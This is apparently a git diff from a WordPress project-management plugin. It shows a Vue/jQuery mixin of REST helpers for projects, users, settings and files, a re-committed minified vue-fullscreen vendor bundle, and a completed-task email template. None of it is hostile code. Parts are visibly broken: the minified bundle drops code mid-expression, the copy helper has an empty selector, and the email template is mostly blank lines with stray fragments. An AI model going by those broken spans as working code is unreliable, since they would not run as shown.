'', + } + } + + var args = jQuery.extend(true, pre_define, args ); + + var conditions = pm_apply_filters( 'before_get_project', args.conditions ); + conditions = self.generateConditions(conditions); + + var request_data = { + url: self.base_url + 'pm/v2/projects/search?'+conditions, + data: args.conditions, + success (res) { + + res.data.map(function(project) { + self.addProjectMeta(project); + }); + + + if(typeof args.callback != 'undefined'){ + args.callback(res.data); + } + } + }; + + self.httpRequest(request_data); + }, + + setCurrentPageNumber () { + var current_page_number = this.$route.params.current_page_number ? this.$route.params.current_page_number : 1; + this.current_page_number = current_page_number; + return current_page_number; + }, + + getProject ( args ) { + var self = this; + var pre_define ={ + conditions : { + + }, + project_id: this.project_id, + callback: false + } + + var args = jQuery.extend(true, pre_define, args ); + var conditions = self.generateConditions(args.conditions); + + if ( typeof args.project_id === 'undefined' ) { + return; + } + + self.httpRequest({ + url:self.base_url + 'pm/v2/projects/'+ args.project_id + '?' + conditions , + success (res) { + if (typeof args.callback === 'function' ) { + args.callback.call(self, res); + } + }, + error (res) { + if (res.status === 404){ + pm.Toastr.success(res.responseJSON.message); + + } + + self.$router.push({ + name: 'project_lists' + }); + } + }); + + }, + + getUsers ( args ) { + var self = this; + var pre_define ={ + data: { + }, + conditions : { + + }, + callback: false + } + + var args = jQuery.extend(true, pre_define, args ); + var conditions = self.generateConditions(args.conditions); + + if (typeof args.data.id === 'undefined' ){ + return ; + } + + self.httpRequest({ + url: self.base_url + 'pm/v2/users/?' + conditions , + data: args.data, + success (res) { + if (typeof args.callback === 'function' ) { + args.callback.call(self, res); + } + } + }); + }, + + getUser ( args ) { + var self = this; + var pre_define ={ + data: { + }, + conditions : { + + }, + callback: false + } + + var args = jQuery.extend(true, pre_define, args ); + var conditions = self.generateConditions(args.conditions); + + if (typeof args.data.user_id === 'undefined' ){ + return ; + } + + self.httpRequest({ + url: self.base_url + 'pm/v2/users/'+ args.data.user_id + '?' + conditions , + success (res) { + if (typeof args.callback === 'function' ) { + args.callback.call(self, res); + } + } + }); + }, + + get_search_user(args) { + var self = this; + var pre_define ={ + data: { + }, + conditions : { + + }, + callback: false + } + + var args = jQuery.extend(true, pre_define, args ); + var conditions = self.generateConditions(args.conditions); + + var request = { + url: self.base_url + 'pm/v2/users/search?' + conditions , + success (res) { + if (typeof args.callback === 'function' ) { + args.callback.call(self, res); + } + } + } + + return self.httpRequest(request); + }, + + getGloabalProject (project_id){ + var args ={ + callback (res) { + this.addProjectMeta(res.data); + this.$root.$store.commit('setProject', res.data); + this.$root.$store.commit('setProjectMeta', res.meta); + this.$root.$store.commit('setProjectUsers', res.data.assignees.data); + pmBus.$emit('pm_after_fetch_project', res.data); + } + } + if (project_id) { + args.project_id = project_id; + this.project_id = project_id; + } + this.$root.$store.state.project_switch = false; + var project = this.$root.$store.state.project; + + if ( ! project.hasOwnProperty('id') || project.id !== this.project_id ) { + this.$root.$store.commit('setDefaultLoaded'); + this.getProject(args); + } else { + pmBus.$emit('pm_after_fetch_project', project); + } + + }, + + addProjectMeta (project) { + project.edit_mode = false; + project.settings_hide = false; + }, + + getProjectCategories (callback) { + var callback = callback || false; + var self = this; + var page = 0; + + var categories = self.$root.$store.state.categories; + if (typeof self.$root.$store.state.categoryMeta.pagination !== 'undefined' ) { + page = self.$root.$store.state.categoryMeta.pagination.total_pages; + } + if ( categories.length && page == 1 ) { + if (callback) { + //callback(categories); + } + return categories; + } + var conditions = { + per_page: -1, + type: 'project' + } + var conditions = self.generateConditions(conditions); + + this.httpRequest({ + url: self.base_url + 'pm/v2/categories?' + conditions, + success (res) { + self.$root.$store.commit('setCategories', res.data); + self.$root.$store.commit('setCategoryMeta', res.meta); + + if (callback) { + callback(res.data); + } + } + }); + }, + + getRoles (callback) { + var callback = callback || false; + var self = this; + + var roles = self.$root.$store.state.roles; + + if ( roles.length ) { + if (callback) { + callback(roles); + } + return roles; + } + + self.httpRequest({ + url: self.base_url + 'pm/v2/roles', + success (res) { + self.$root.$store.commit('setRoles', res.data); + + if (callback) { + callback(res.data); + } + } + }); + }, + + /** + * Get index from array object element + * + * @param itemList + * @param id + * + * @return int + */ + getIndex ( itemList, id, slug) { + var index = false; + + jQuery.each(itemList, function(key, item) { + if (item[slug] == id) { + index = key; + } + }); + + return index; + }, + + showHideProjectForm (status) { + this.$store.commit('showHideProjectForm', status); + }, + + deleteFile (file_id, callback) { + var self = this; + + self.httpRequest({ + url: self.base_url + 'pm/v2/projects/'+self.project_id+'/files/' + file_id+'/delete', + type: 'POST', + success (res) { + + + if (typeof callback !== 'undefined') { + callback(res.data); + } + } + }); + }, + + + userTaskProfileUrl ( user_id ) { + return this.myTaskRedirect( user_id ); + }, + + /** + * Set extra element in httpRequest query + */ + getQueryParams (add_query) { + + var self = this, + query_str = ''; + + jQuery.each(add_query, function(key, val) { + + if (Array.isArray(val)) { + + val.map(function(el, index) { + query_str = query_str + key +'='+ el + '&'; + }); + } else { + query_str = query_str + key +'='+ val + '&'; + } + + }); + + + jQuery.each(this.$route.query, function(key, val) { + + if (Array.isArray(val)) { + + val.map(function(el, index) { + query_str = query_str + key +'='+ el + '&'; + }); + } else { + query_str = query_str + key +'='+ val + '&'; + } + + }); + + var query_str = query_str.slice(0, -1); + + return query_str; + }, + + /** + * Set extra element in this.$route.query + */ + setQuery (add_query) { + var self = this, + route_query = {}; + + + jQuery.each(self.$route.query, function(key, val) { + if (Array.isArray(val)) { + route_query[key] = []; + + val.map(function(el, index) { + route_query[key].push(el); + }); + + } else if (val) { + route_query[key] = [val]; + } + + }); + + jQuery.each(add_query, function(key, val) { + if (val) { + route_query[key] = [val]; + } else { + delete route_query[key]; + } + + }); + + return route_query; + }, + + /** + * ISO_8601 Date format convert to moment date format + * + * @param string date + * + * @return string + */ + pmDateISO8601Format ( date, time ) { + var date = new Date(date +' '+ time); + + return pm.Moment( date).format(); + }, + + deleteProject (id, project) { + if ( ! confirm( this.__( 'Are you sure to delete this project?', 'wedevs-project-manager') ) ) { + return; + } + var self = this; + var request_data = { + url: self.base_url + 'pm/v2/projects/' + id+'/delete', + type: 'POST', + success (res) { + self.$store.commit('afterDeleteProject', id); + self.$store.commit('afterDeleteProjectCount', {project: project}); + pm.Toastr.success(res.message); + var total_page = self.$store.state.pagination.total_pages; + + if (self.project_id || !self.$store.state.projects.length) { + self.$router.push({ + name: 'project_lists', + }); + + if ( + total_page > 1 + && + typeof self.$route.params.current_page_number == 'undefined' + ) { + self.getProjects(); + } + } else { + //self.getProjects(); + } + } + } + + self.httpRequest(request_data); + }, + + addUserMeta (user) { + if(!user.roles.data.length) { + user.roles = { + data: [{ + description: "Co-Worker for project manager", + id:2, + title:"Co-Worker" + }] + } + } + }, + + projects_view_class (){ + return this.$store.state.projects_view === 'grid_view' ? 'pm-project-grid': 'pm-project-list' + }, + + generateConditions (conditions) { + var query = ''; + + if (jQuery.isEmptyObject(conditions)) { + return '' + } + + jQuery.each(conditions, function(condition, key) { + if(condition){ + query = query + condition +'='+ key +'&'; + } + }); + + return query.slice(0, -1); + }, + + generatequeryString (conditions) { + var query = ''; + + if (jQuery.isEmptyObject(conditions)) { + return '' + } + + jQuery.each(conditions, function(condition, key) { + if( condition ){ + if( typeof key == 'string' ) + query = query + condition +'='+ key +'&'; + if ( typeof key == 'object' ) { + jQuery.each(key, function(index, el) { + query = query + condition +'[]='+ el +'&'; + }); + } + } + }); + + return query.slice(0, -1); + }, + + /** + * [get Global Milestones in every page where milestone need and store in $root.$store.state.milestone ] + * @param {Function} callback [optional] + * @return {[type]} [milestone] + */ + getGlobalMilestones (callback) { + var self = this, + milestones = this.$root.$store.state.milestones, + milestones_load = self.$root.$store.state.milestones_load; + + if(milestones_load){ + if(typeof callback === 'function' ){ + callback.call(self, milestones); + } + return milestones; + }else { + var request = { + data: { + status: 1 + }, + url: self.base_url + 'pm/v2/projects/'+self.project_id+'/milestones', + success (res) { + self.$root.$store.commit( 'setMilestones', res.data ); + + if (typeof callback === 'function') { + callback.call( self, res.data); + } + } + }; + self.httpRequest(request); + } + }, + + loadingStart (id, args) { + var pre_define = { + // loading text + text: '', + + // from 0 to 100 + percent: '', + + // duration in ms + duration: '', + + // z-index property + zIndex: '', + + // sets relative position to preloader's parent + setRelative: false + + }; + var args = jQuery.extend(true, pre_define, args); + + jQuery('#'+id).preloader(args); + }, + + loadingStop (id) { + jQuery('#'+id).preloader('remove'); + }, + + arrayDiffer ( arr1, arr2 ) { + var diff =[]; + arr1.forEach(function (arr) { + if( arr2.indexOf( arr) > -1 ){ + diff.push(arr); + } + }); + return diff; + }, + + saveSettings (settings, project_id, callback, id) { + var settings = this.formatSettings(settings); + var project_id = project_id || false; + var self = this; + id = id || false; + + var url = project_id + ? self.base_url + 'pm/v2/projects/'+project_id+'/settings' + : self.base_url + 'pm/v2/settings'; + + var request = { + url: url, + data: { + settings: settings, + id: id + }, + type: 'POST', + success (res) { + pm.Toastr.success(res.message); + if (typeof callback !== 'undefined') { + callback(res.data); + } + } + }; + + self.httpRequest(request); + }, + + saveTrelloImportedData (formDataObj,cred,urlString,callback) { + var self = this; + var url = self.base_url + 'pm/v2/'+ urlString; + + var request = { + url: url, + xhr: function() { + var xhr = new window.XMLHttpRequest(); + xhr.addEventListener("progress", function(evt) { + if (evt.lengthComputable) { + + } + }, false); + return xhr; + }, + data: formDataObj, + type: 'POST', + success (res) { + if (typeof callback !== 'undefined') { + callback(res,cred); + } + } + }; + + self.httpRequest(request); + }, + + deleteProjectSettings (id, args) { + var self = this; + + args = args || {}; + + var url = self.base_url + 'pm/v2/projects/'+this.project_id+'/delete/'+id+'/settings' + + var request = { + url: url, + data: { + id: id + }, + type: 'POST', + success (res) { + //pm.Toastr.success(res.message); + if (typeof args.callback !== 'undefined') { + args.callback(res.data); + } + } + }; + + self.httpRequest(request); + }, + + formatSettings (settings) { + var data = []; + + jQuery.each(settings, function(name, value) { + data.push({ + key: name, + value: value + }); + }); + + return data; + }, + + getViewType(callback) { + let is_need_fetch_view_type = this.$store.state.is_need_fetch_view_type; + + if ( !is_need_fetch_view_type ) { + callback( + { + 'value': this.$store.state.listView + } + ); + return; + } + + var self = this; + var request = { + url: self.base_url + 'pm/v2/projects/'+this.project_id+'/settings?key=list_view_type', + data: {}, + type: 'GET', + success (res) { + self.$store.commit('is_need_fetch_view_type', false); + if ( res.length ) { + self.setViewType(res.data.value); + }else { + self.setViewType('list'); + } + + + if (typeof callback !== 'undefined') { + callback(res.data); + } + } + }; + + self.httpRequest(request); + }, + + setViewType(view_type) { + this.$store.commit('listViewType', view_type); + }, + + getClients () { + + var project = this.$store.state.project, + assignees = this.$store.state.project.assignees.data; + + return assignees.filter(function(user) { + + var roles = user.roles.data.filter(function(role) { + return role.slug == 'client' ? true : false; + }); + + return roles.length ? true : false; + }); + }, + + myTaskRedirect (userid) { + var current_user = PM_Vars.current_user.ID; + + if (!this.canShowMyTaskRedirect(userid) ) { + return false; + } + + if (!PM_Vars.is_pro) { + return this.$router.resolve({ name: 'my-tasks'}).href; + + } + + if (userid == current_user ) { + return this.$router.resolve({name: 'mytask-tasks'}).href; + } + + return this.$router.resolve({name: 'mytask-tasks', params: {user_id: userid}}).href; + + }, + + canShowMyTaskRedirect (userid) { + var current_user = PM_Vars.current_user.ID; + if (this.has_manage_capability()) { + return true; + } + + if (current_user == userid) { + return true; + } + return false; + }, + + fileDownload (fileId) { + let url = this.base_url + '/pm/v2/projects/'+this.project_id+'/files/'+fileId+'/users/'+PM_Vars.current_user.ID+'/download'; + url = this.setPermalink( url ); + + window.location.href = url; + }, + + getDownloadUrl(fileId, project_id) { + project_id = project_id || this.project_id; + let url = this.base_url + '/pm/v2/projects/'+ project_id +'/files/'+fileId+'/users/'+PM_Vars.current_user.ID+'/download'; + url = this.setPermalink( url ); + + return url; + }, + + copy (text) { + var $temp = $(""); + $("body").append($temp); + $temp.val(text).select(); + document.execCommand("copy"); + $temp.remove(); + }, + + deleteSettings (key, pre_define ) { + var pre_define = pre_define || false, + settings = PM_Vars.settings; + + if ( typeof PM_Vars.settings[key] === 'undefined' ) { + return pre_define; + } + + return PM_Vars.settings[key]; + }, + + getAssetUrl(str) { + return PM_Vars.assets_url + str; + }, + + /** + * Close popup by checking popper + */ + closePopper(){ + jQuery('body').trigger('click'); + }, + + exportCsvFile (xhr, response) { + if ( 'html/csv' === xhr.getResponseHeader('Content-type') ) { + var filename = ""; + var disposition = xhr.getResponseHeader('Content-Disposition'); + if (disposition && disposition.indexOf('attachment') !== -1) { + var filenameRegex = /filename[^;=\n]*=((['"]).*?\2|[^;\n]*)/; + var matches = filenameRegex.exec(disposition); + if (matches != null && matches[1]) { + filename = matches[1].replace(/['"]/g, ''); + } + } + var type = xhr.getResponseHeader('Content-Type'); + var blob = typeof File === 'function' ? new File([response], filename, { type: type }) : new Blob([response], { type: type }); + if (typeof window.navigator.msSaveBlob !== 'undefined') { + // IE workaround for "HTML7007: One or more blob URLs were revoked by closing the blob for which they were created. These URLs will no longer resolve as the data backing the URL has been freed." + window.navigator.msSaveBlob(blob, filename); + } else { + var URL = window.URL || window.webkitURL; + var downloadUrl = URL.createObjectURL(blob); + if (filename) { + // use HTML5 a[download] attribute to specify filename + var a = document.createElement("a"); + // safari doesn't support this yet + if (typeof a.download === 'undefined') { + window.location = downloadUrl; + } else { + a.href = downloadUrl; + a.download = filename; + document.body.appendChild(a); + a.click(); + } + } else { + window.location = downloadUrl; + } + setTimeout(function () { + URL.revokeObjectURL(downloadUrl); + }, 100); // cleanup + } + } + }, + + isEmpty (mixedVar) { + + + if( + mixedVar === false + || + mixedVar == 0 + || + mixedVar == '0' + || + mixedVar == null + || + mixedVar == '' + || + typeof mixedVar == 'undefined' + ) { + return true; + } + + if(this.is_array(mixedVar)) { + if(!mixedVar.length) { + return true; + } + } + + if (this.is_object(mixedVar)) { + if( jQuery.isEmptyObject(mixedVar) ) { + return true; + } + } + + return false + }, + + can_edit_task (task) { + var user = PM_Vars.current_user; + + if (this.is_manager()) { + return true; + } + + if ( this.userCanAccess(PM_Vars.manager_cap_slug) ) { + return true; + } + + let creatorId = task.creator.data.id ? task.creator.data.id : 0; + + if ( parseInt(creatorId) == parseInt(user.ID) ){ + return true; + } + + return false; + }, + } +}; + + + + + + + diff --git a/views/assets/vendor/vue-fullscreen/vue-fullscreen.min.js b/views/assets/vendor/vue-fullscreen/vue-fullscreen.min.js index 37fe2297c..a942e3add 100644 --- a/views/assets/vendor/vue-fullscreen/vue-fullscreen.min.js +++ b/views/assets/vendor/vue-fullscreen/vue-fullscreen.min.js @@ -1,89 +1,89 @@ -/******/ (function(modules) { // webpackBootstrap -/******/ // The module cache -/******/ var installedModules = {}; -/******/ -/******/ // The require function -/******/ function __webpack_require__(moduleId) { -/******/ -/******/ // Check if module is in cache -/******/ if(installedModules[moduleId]) { -/******/ return installedModules[moduleId].exports; -/******/ } -/******/ // Create a new module (and put it into the cache) -/******/ var module = installedModules[moduleId] = { -/******/ i: moduleId, -/******/ l: false, -/******/ exports: {} -/******/ }; -/******/ -/******/ // Execute the module function -/******/ modules[moduleId].call(module.exports, module, module.exports, __webpack_require__); -/******/ -/******/ // Flag the module as loaded -/******/ module.l = true; -/******/ -/******/ // Return the exports of the module -/******/ return module.exports; -/******/ } -/******/ -/******/ -/******/ // expose the modules object (__webpack_modules__) -/******/ __webpack_require__.m = modules; -/******/ -/******/ // expose the module cache -/******/ __webpack_require__.c = installedModules; -/******/ -/******/ // define getter function for harmony exports -/******/ __webpack_require__.d = function(exports, name, getter) { -/******/ if(!__webpack_require__.o(exports, name)) { -/******/ Object.defineProperty(exports, name, { -/******/ configurable: false, -/******/ enumerable: true, -/******/ get: getter -/******/ }); -/******/ } -/******/ }; -/******/ -/******/ // getDefaultExport function for compatibility with non-harmony modules -/******/ __webpack_require__.n = function(module) { -/******/ var getter = module && module.__esModule ? -/******/ function getDefault() { return module['default']; } : -/******/ function getModuleExports() { return module; }; -/******/ __webpack_require__.d(getter, 'a', getter); -/******/ return getter; -/******/ }; -/******/ -/******/ // Object.prototype.hasOwnProperty.call -/******/ __webpack_require__.o = function(object, property) { return Object.prototype.hasOwnProperty.call(object, property); }; -/******/ -/******/ // __webpack_public_path__ -/******/ __webpack_require__.p = ""; -/******/ -/******/ // Load entry module and return exports -/******/ return __webpack_require__(__webpack_require__.s = 1024); -/******/ }) -/************************************************************************/ -/******/ ({ - -/***/ 1024: -/***/ (function(module, __webpack_exports__, __webpack_require__) { - -"use strict"; -Object.defineProperty(__webpack_exports__, "__esModule", { value: true }); -/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0_vue_fullscreen__ = __webpack_require__(1025); -/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0_vue_fullscreen___default = __webpack_require__.n(__WEBPACK_IMPORTED_MODULE_0_vue_fullscreen__); - - -Vue.use(__WEBPACK_IMPORTED_MODULE_0_vue_fullscreen___default.a) - - -/***/ }), - -/***/ 1025: -/***/ (function(module, exports, __webpack_require__) { - -!function(e,t){ true?module.exports=t():"function"==typeof define&&define.amd?define([],t):"object"==typeof exports?exports.VueFullscreen=t():e.VueFullscreen=t()}(this,function(){return function(e){function t(r){if(n[r])return n[r].exports;var c=n[r]={i:r,l:!1,exports:{}};return e[r].call(c.exports,c,c.exports,t),c.l=!0,c.exports}var n={};return t.m=e,t.c=n,t.i=function(e){return e},t.d=function(e,n,r){t.o(e,n)||Object.defineProperty(e,n,{configurable:!1,enumerable:!0,get:r})},t.n=function(e){var n=e&&e.__esModule?function(){return e.default}:function(){return e};return t.d(n,"a",n),n},t.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},t.p="",t(t.s=3)}([function(e,t,n){"use strict";function r(){var e=document.documentElement;return"requestFullscreen"in e||"mozRequestFullScreen"in e&&document.mozFullScreenEnabled||"msRequestFullscreen"in e&&document.msFullscreenEnabled||"webkitRequestFullScreen"in e}function c(){return!!(document.fullscreen||document.mozFullScreen||document.fullscreenElement||document.msFullscreenElement||document.webkitIsFullScreen)}function l(e){e.requestFullscreen?e.requestFullscreen():e.webkitRequestFullscreen?e.webkitRequestFullscreen():e.mozRequestFullScreen?e.mozRequestFullScreen():e.msRequestFullscreen?e.msRequestFullscreen():console.log("Fullscreen API is not supported.")}function u(){document.exitFullscreen?document.exitFullscreen():document.webkitExitFullscreen?document.webkitExitFullscreen():document.mozCancelFullScreen?document.mozCancelFullScreen():document.msExitFullscreen?document.msExitFullscreen():console.log("Fullscreen API is not supported.")}function o(e){document.addEventListener("fullscreenchange",e),document.addEventListener("mozfullscreenchange",e),document.addEventListener("MSFullscreenChange",e),document.addEventListener("webkitfullscreenchange",e)}function s(e){document.removeEventListener("fullscreenchange",e),document.removeEventListener("mozfullscreenchange",e),document.removeEventListener("MSFullscreenChange",e),document.removeEventListener("webkitfullscreenchange",e)}function i(){var e={},t=!1,n=0,r=arguments.length;for("[object Boolean]"===Object.prototype.toString.call(arguments[0])&&(t=arguments[0],n++);n0&&void 0!==arguments[0]?arguments[0]:document.body,c=arguments[1];if(i&&!r()){c=n.i(o.a)(!0,{},s,c);var l=t,u=void 0;c.wrap&&(u=document.createElement("div"),u.style["overflow-y"]="auto",u.style.background=c.background,u.style.width="100%",u.style.height="100%",l.parentNode.insertBefore(u,l),u.appendChild(l),u.addEventListener("click",function(e){e.target===this&&n.i(o.d)()})),l.classList.add(c.fullscreenClass),n.i(o.f)(e),n.i(o.g)(c.wrap?u:l)}}function u(){i&&r()&&n.i(o.d)()}var o=n(0),s={wrap:!0,background:"#333",callback:function(){},fullscreenClass:"fullscreen"},i=n.i(o.b)();t.a={getState:r,toggle:c,enter:l,exit:u}},function(e,t,n){var r=n(5)(n(4),n(6),null,null);e.exports=r.exports},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0});var r=n(2),c=n.n(r),l=n(1),u=n(0);t.default={install:function(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{},r=t.name||"fullscreen";e.component(r,n.i(u.a)(c.a,{name:r})),e.prototype["$"+r]=l.a}}},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0});var r=n(0);t.default={props:{background:{type:String,default:"#333"},fullscreenClass:{type:String,default:"fullscreen"},fullscreen:{type:Boolean,default:!1}},data:function(){return{supportFullScreen:!1,isFullscreen:!1}},computed:{wrapperStyle:function(){return{background:this.background,"overflow-y":"auto",width:"100%",height:"100%"}}},methods:{toggle:function(e){void 0===e?n.i(r.c)()?this.exit():this.enter():e?this.enter():this.exit()},enter:function(){this.supportFullScreen&&(n.i(r.f)(this.fullScreenCallback),n.i(r.g)(this.$el))},exit:function(){this.supportFullScreen&&this.getState()&&n.i(r.d)()},getState:function(){return n.i(r.c)()},shadeClick:function(e){e.target===this.$el&&this.exit()},fullScreenCallback:function(){this.isFullscreen=n.i(r.c)(),this.isFullscreen||n.i(r.e)(this.fullScreenCallback),this.$emit("change",this.isFullscreen),this.$emit("update:fullscreen",this.isFullscreen)}},watch:{fullscreen:function(e){e!==n.i(r.c)()&&(e?this.enter():this.exit())}},created:function(){this.supportFullScreen=n.i(r.b)()}}},function(e,t){e.exports=function(e,t,n,r){var c,l=e=e||{},u=typeof e.default;"object"!==u&&"function"!==u||(c=e,l=e.default);var o="function"==typeof l?l.options:l;if(t&&(o.render=t.render,o.staticRenderFns=t.staticRenderFns),n&&(o._scopeId=n),r){var s=Object.create(o.computed||null);Object.keys(r).forEach(function(e){var t=r[e];s[e]=function(){return t}}),o.computed=s}return{esModule:c,exports:l,options:o}}},function(e,t){e.exports={render:function(){var e=this,t=e.$createElement;return(e._self._c||t)("div",{class:e.isFullscreen?[e.fullscreenClass]:[],style:e.isFullscreen?[e.wrapperStyle]:[],on:{click:function(t){e.shadeClick(t)}}},[e._t("default")],2)},staticRenderFns:[]}}])}); - -/***/ }) - +/******/ (function(modules) { // webpackBootstrap +/******/ // The module cache +/******/ var installedModules = {}; +/******/ +/******/ // The require function +/******/ function __webpack_require__(moduleId) { +/******/ +/******/ // Check if module is in cache +/******/ if(installedModules[moduleId]) { +/******/ return installedModules[moduleId].exports; +/******/ } +/******/ // Create a new module (and put it into the cache) +/******/ var module = installedModules[moduleId] = { +/******/ i: moduleId, +/******/ l: false, +/******/ exports: {} +/******/ }; +/******/ +/******/ // Execute the module function +/******/ modules[moduleId].call(module.exports, module, module.exports, __webpack_require__); +/******/ +/******/ // Flag the module as loaded +/******/ module.l = true; +/******/ +/******/ // Return the exports of the module +/******/ return module.exports; +/******/ } +/******/ +/******/ +/******/ // expose the modules object (__webpack_modules__) +/******/ __webpack_require__.m = modules; +/******/ +/******/ // expose the module cache +/******/ __webpack_require__.c = installedModules; +/******/ +/******/ // define getter function for harmony exports +/******/ __webpack_require__.d = function(exports, name, getter) { +/******/ if(!__webpack_require__.o(exports, name)) { +/******/ Object.defineProperty(exports, name, { +/******/ configurable: false, +/******/ enumerable: true, +/******/ get: getter +/******/ }); +/******/ } +/******/ }; +/******/ +/******/ // getDefaultExport function for compatibility with non-harmony modules +/******/ __webpack_require__.n = function(module) { +/******/ var getter = module && module.__esModule ? +/******/ function getDefault() { return module['default']; } : +/******/ function getModuleExports() { return module; }; +/******/ __webpack_require__.d(getter, 'a', getter); +/******/ return getter; +/******/ }; +/******/ +/******/ // Object.prototype.hasOwnProperty.call +/******/ __webpack_require__.o = function(object, property) { return Object.prototype.hasOwnProperty.call(object, property); }; +/******/ +/******/ // __webpack_public_path__ +/******/ __webpack_require__.p = ""; +/******/ +/******/ // Load entry module and return exports +/******/ return __webpack_require__(__webpack_require__.s = 1024); +/******/ }) +/************************************************************************/ +/******/ ({ + +/***/ 1024: +/***/ (function(module, __webpack_exports__, __webpack_require__) { + +"use strict"; +Object.defineProperty(__webpack_exports__, "__esModule", { value: true }); +/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0_vue_fullscreen__ = __webpack_require__(1025); +/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0_vue_fullscreen___default = __webpack_require__.n(__WEBPACK_IMPORTED_MODULE_0_vue_fullscreen__); + + +Vue.use(__WEBPACK_IMPORTED_MODULE_0_vue_fullscreen___default.a) + + +/***/ }), + +/***/ 1025: +/***/ (function(module, exports, __webpack_require__) { + +!function(e,t){ true?module.exports=t():"function"==typeof define&&define.amd?define([],t):"object"==typeof exports?exports.VueFullscreen=t():e.VueFullscreen=t()}(this,function(){return function(e){function t(r){if(n[r])return n[r].exports;var c=n[r]={i:r,l:!1,exports:{}};return e[r].call(c.exports,c,c.exports,t),c.l=!0,c.exports}var n={};return t.m=e,t.c=n,t.i=function(e){return e},t.d=function(e,n,r){t.o(e,n)||Object.defineProperty(e,n,{configurable:!1,enumerable:!0,get:r})},t.n=function(e){var n=e&&e.__esModule?function(){return e.default}:function(){return e};return t.d(n,"a",n),n},t.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},t.p="",t(t.s=3)}([function(e,t,n){"use strict";function r(){var e=document.documentElement;return"requestFullscreen"in e||"mozRequestFullScreen"in e&&document.mozFullScreenEnabled||"msRequestFullscreen"in e&&document.msFullscreenEnabled||"webkitRequestFullScreen"in e}function c(){return!!(document.fullscreen||document.mozFullScreen||document.fullscreenElement||document.msFullscreenElement||document.webkitIsFullScreen)}function l(e){e.requestFullscreen?e.requestFullscreen():e.webkitRequestFullscreen?e.webkitRequestFullscreen():e.mozRequestFullScreen?e.mozRequestFullScreen():e.msRequestFullscreen?e.msRequestFullscreen():console.log("Fullscreen API is not supported.")}function u(){document.exitFullscreen?document.exitFullscreen():document.webkitExitFullscreen?document.webkitExitFullscreen():document.mozCancelFullScreen?document.mozCancelFullScreen():document.msExitFullscreen?document.msExitFullscreen():console.log("Fullscreen API is not supported.")}function o(e){document.addEventListener("fullscreenchange",e),document.addEventListener("mozfullscreenchange",e),document.addEventListener("MSFullscreenChange",e),document.addEventListener("webkitfullscreenchange",e)}function s(e){document.removeEventListener("fullscreenchange",e),document.removeEventListener("mozfullscreenchange",e),document.removeEventListener("MSFullscreenChange",e),document.removeEventListener("webkitfullscreenchange",e)}function i(){var e={},t=!1,n=0,r=arguments.length;for("[object Boolean]"===Object.prototype.toString.call(arguments[0])&&(t=arguments[0],n++);n0&&void 0!==arguments[0]?arguments[0]:document.body,c=arguments[1];if(i&&!r()){c=n.i(o.a)(!0,{},s,c);var l=t,u=void 0;c.wrap&&(u=document.createElement("div"),u.style["overflow-y"]="auto",u.style.background=c.background,u.style.width="100%",u.style.height="100%",l.parentNode.insertBefore(u,l),u.appendChild(l),u.addEventListener("click",function(e){e.target===this&&n.i(o.d)()})),l.classList.add(c.fullscreenClass),n.i(o.f)(e),n.i(o.g)(c.wrap?u:l)}}function u(){i&&r()&&n.i(o.d)()}var o=n(0),s={wrap:!0,background:"#333",callback:function(){},fullscreenClass:"fullscreen"},i=n.i(o.b)();t.a={getState:r,toggle:c,enter:l,exit:u}},function(e,t,n){var r=n(5)(n(4),n(6),null,null);e.exports=r.exports},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0});var r=n(2),c=n.n(r),l=n(1),u=n(0);t.default={install:function(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{},r=t.name||"fullscreen";e.component(r,n.i(u.a)(c.a,{name:r})),e.prototype["$"+r]=l.a}}},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0});var r=n(0);t.default={props:{background:{type:String,default:"#333"},fullscreenClass:{type:String,default:"fullscreen"},fullscreen:{type:Boolean,default:!1}},data:function(){return{supportFullScreen:!1,isFullscreen:!1}},computed:{wrapperStyle:function(){return{background:this.background,"overflow-y":"auto",width:"100%",height:"100%"}}},methods:{toggle:function(e){void 0===e?n.i(r.c)()?this.exit():this.enter():e?this.enter():this.exit()},enter:function(){this.supportFullScreen&&(n.i(r.f)(this.fullScreenCallback),n.i(r.g)(this.$el))},exit:function(){this.supportFullScreen&&this.getState()&&n.i(r.d)()},getState:function(){return n.i(r.c)()},shadeClick:function(e){e.target===this.$el&&this.exit()},fullScreenCallback:function(){this.isFullscreen=n.i(r.c)(),this.isFullscreen||n.i(r.e)(this.fullScreenCallback),this.$emit("change",this.isFullscreen),this.$emit("update:fullscreen",this.isFullscreen)}},watch:{fullscreen:function(e){e!==n.i(r.c)()&&(e?this.enter():this.exit())}},created:function(){this.supportFullScreen=n.i(r.b)()}}},function(e,t){e.exports=function(e,t,n,r){var c,l=e=e||{},u=typeof e.default;"object"!==u&&"function"!==u||(c=e,l=e.default);var o="function"==typeof l?l.options:l;if(t&&(o.render=t.render,o.staticRenderFns=t.staticRenderFns),n&&(o._scopeId=n),r){var s=Object.create(o.computed||null);Object.keys(r).forEach(function(e){var t=r[e];s[e]=function(){return t}}),o.computed=s}return{esModule:c,exports:l,options:o}}},function(e,t){e.exports={render:function(){var e=this,t=e.$createElement;return(e._self._c||t)("div",{class:e.isFullscreen?[e.fullscreenClass]:[],style:e.isFullscreen?[e.wrapperStyle]:[],on:{click:function(t){e.shadeClick(t)}}},[e._t("default")],2)},staticRenderFns:[]}}])}); + +/***/ }) + /******/ }); \ No newline at end of file diff --git a/views/emails/html/complete-task.php b/views/emails/html/complete-task.php index 8bd367f26..74019ae2f 100644 --- a/views/emails/html/complete-task.php +++ b/views/emails/html/complete-task.php @@ -1,141 +1,141 @@ - - - - - - - Change Task Status - - -
    - - - - - - - - - - - - -
    - - - - - -
    - <?php echo esc_attr( $completed_by->display_name ) ?> - -
    - -

    - display_name ) ); ?> -

    - -
    -
    -
    - - - - - - - - - - - - - - - - - - - -
    -

    -

    -   -
    -

    -

    - display_name; - } - - echo esc_html( implode( ', ', $assign_users ) ); - ?> -

    -
    -

    -

    - -

    -
    -   -

    -

    -
    -   -

    -
    - -
    -
    - - - -
    -
    -
    -

